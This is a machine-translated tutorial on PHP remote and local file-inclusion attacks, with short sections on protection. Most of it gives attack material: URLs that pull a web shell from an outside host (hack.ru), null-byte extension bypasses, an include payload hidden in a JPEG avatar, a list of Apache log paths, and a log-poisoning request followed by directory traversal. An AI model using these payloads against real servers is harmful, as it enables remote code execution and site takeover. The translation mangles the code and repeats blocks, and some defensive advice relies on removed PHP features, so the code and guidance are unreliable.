This page has been robot translated, sorry for typos if any. Original content here.

PHP-include and protection methods



  • Global inclusion
  • Global Inclusion Protection
  • Local Inclusion
  • Apache Logs
  • Local Inclusion Protection


  • Introduction

    Global inclusion

    The most dangerous of the vulnerabilities of the web, but unfortunately, or fortunately, is extremely rare in our time. For an attack it is necessary that the allow_url_include function was enabled, that is, "On"
    The vulnerability allows an attacker to execute arbitrary php code on the server.
    There are four functions in PHP for including files in PHP scripts:

    * include ();
    * include_once ();
    * require ();
    * require_once ().

    The include () function includes the contents of the file in the script. Consider the example of "twice" vulnerable code:
      <? php
     
      if ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      else
     
      {
     
      include ( $ file . '.php' );
     
      }
     
      ?>
    
    
    Using the condition, we check if the array element $ _GET ['page'] is passed through the url to the server, then we call the include () function. Due to the fact that the value of the $ _GET ['page'] array is not checked for existence, using the file_exists () function, an attacker can conduct an attack:

    http://site.ru/index.php?page=http://hack.ru/shell Otherwise, we will include ($ file. '. php'); Here the situation is the same, just writing the code is a little different. The variable $ file is not
    it was determined earlier and the attacker could remotely execute php code:
    http://site.ru/index.php?file=http://hack.ru/shell The include_once () function is practically the same as include () , with one exception: before including the file in the program, it checks that whether it was included earlier. If the file has already been included, the call to include_once () is ignored, and if not, the standard inclusion of the file occurs.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In this example, the extension '.gif' is automatically assigned to the file being uploaded
    There are two ways to get rid of the .gif extension:
    1) if magic_quotes_gpc = Off then you can use the "poison zero" -% 00 which will cut off the extension
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) even if magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? The require () function is similar to include () , with the exception of one - the file specified by the require () parameter is included in the script regardless of the location of require () in the script.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    attack is similar, but in this case the extension is not attributed:
    http://site.ru/index.php?page=http://hack.ru/shell.php The require_once () function loads a file into the script only once.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    attack is similar ...

    Now consider another version of inclusion. This time, what would be needed in the php.ini file
    allow_url_fopen was set to On , which is the default.
    PHP code:
      <? php
     
      $ f = fopen ( "$ file.php" , "r" );
     
    
      while (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      echo $ s ;
     
      }
     
    
      fclose ( $ f );
     
      ?>
    
    
    Due to the fact that the variable $ file has not been previously defined, an attacker could launch an attack:
    http://site.ru/index.php?file=http://hack.ru/shell As a result, we again get a web shell.

    The next example is using the readfile () function
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    The readfile () function reads a file whose name is passed to it as a parameter and displays its contents on the screen.
    As a result, we again get the web shell:
    http://site.ru/index.php?file=http://hack.ru/shell Now consider this option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Using the implode () function, we combine the elements of the array into a string, and using the file () function we get the contents of the file as an array. As a result, we again have a web shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Global Inclusion Protection

    Of course, you can check the file for existence using the file_exists () function and filter out unwanted characters with str_replace () , but I recommend using the switch case construct:

      <? php
     
      global $ page ;
     
      switch ( $ page )
     
      {
     
      case '' :
     
      include ( "pages / main.php" );
     
      break;
     
    
      case 'index' :
     
      include ( "pages / main.php" );
     
      break;
     
      case 'page1' :
     
      include ( "pages / folder / page1.php" );
     
      break;
     
      case 'page2' :
     
      include ( "pages / folder / page2.php" );
     
      break;
     
    
      default:
     
      include ( "pages / hack.php" );
     
      break;
     
      }
     
      ?>
    
    
    I also recommend editing the php.ini file :

    allow_url_include = Off // prohibit remotely include files
    allow_url_fopen = Off // prohibit fopen from opening links
    register_globals = Off // disable the initialization of global variables
    safe_mode = On // enable safe_mode (the hacker will not have access to / etc / passwd and the like)

    Local Inclusion

    No less dangerous vulnerability on the web. Allows an attacker to include files lying on the server. Many beginners encountering this web coding error throw things away, because they don’t know how to proceed further and dig in which direction. I will give a general example:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    It’s impossible to globally fail, because the variable $ file is assigned after the / include / directory
    What can be done?

    The ideal case is when the site is either a forum or other form with which you can download any file with any extension.
    The question arises - why with any extension? Take for example a fictitious site on which there is the possibility of downloading avatars through the forum. There is a script on the forum that checks if the user has really uploaded the photo? Open paint and save any image, for example, in jpg format. After that, open it with a notepad and after the image code write <? Php include ("http://hack.ru/shell.php"); ?> As a result, we get something like this:
    			
     ya shaa jfif ya c           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342яЫ C 			  
    
      2!  ! 2222222222222222222222222222222222222222222222222 22222яА 6 6 "ЯД                    	
      Poison µ}! 1A Qa "q 2Ѓ'Ў # B ± Б R Ср $ 3br‚	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ „… † † ‡ € ‰ Љ'“ ”• –—˜ ™                       	
      Poison µ w! 1 AQ aq "2Ѓ B'Ў ± B # 3Rр brС
    
      $ 4b% s & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ „… † ‡ € ‰ Љ'“ ”• ––˜ ™  ч (ўЂ
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
    
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (я €? BOX
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Now such a picture can be uploaded to the forum and it will be perceived just like a picture
    Back to the issue of expansion. Why is anyone suitable for us? The fact is that the include () function
    loads code from one file into an executable file. Here is an example:
    http://www.site.com/index.php?include=../forum/images/shell.jpg As a result, the code <? php include ("http://hack.ru/ shell.php "); ?>

    Apache logs

    As you know, apache keeps the log files httpd-access.log and httpd-error.log and all requests
    Naturally logged and written to the appropriate files. Here is their approximate location:
     /logs/error.log
     /logs/access.log
    
     / logs / error_log
     / logs / access_log
    
     / var / log / error_log 
     / var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / error_log
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / error_log
     /var/log/apache/error.log
     / var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / error_log
     / var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / error_log
     / apache / logs / access_log
    
     / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / error_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    I will give an example on a localhost, I think it will be much clearer to many. Using InetCrack, I send a package like this:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    The packet header is written to the patch logs located at:
    Z:\usr\local\apache\logs\access.log That is, this line is written to this file:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 I think the point is clear. It remains for us to deceive him:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log And get a web shell :)

    Local Inclusion Protection

    Here is a small example of how to protect yourself reliably:
      <? php
     
    


    function stripslashes_for_array (& $ array )
    {
    reset ( $ array );
    while (list ( $ key , $ val ) = each ( $ array ))
    {
    if ( is_string ( $ val )) $ array [ $ key ] = stripslashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ key ] = stripslashes_for_array ( $ val );
    }
    return $ array ;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ( $ _POST );
    stripslashes_for_array ( $ _GET );
    }

    if (isset ( $ _GET [ 'file' ])) $ file = $ _GET [ 'file' ];
    else
    {
    if (isset ( $ _POST [ 'file' ])) $ file = $ _POST [ 'file' ]; else $ file = '' ; } $ file = str_replace ( '/' , '' , $ file ); $ file = str_replace ( '.' , '' , $ file ); if (! file_exists ( "include" . '/' . $ file . '.php' ) || $ file == 'index' ) { $ file = 'news' ; } include ( "include" . '/' . $ file . '.php' ); ?>

    So what is going on here? Each element of the array is checked by the stripslashes () function. She kills backslashes. Next, we check whether the value of the array element is set or not. Filter out invalid characters (' / ', ' . ') With str_replace () . If the file does not exist (we check using the file_exists () function), we assign the value to the variable $ file = 'news'. In other cases (when the file exists), include it.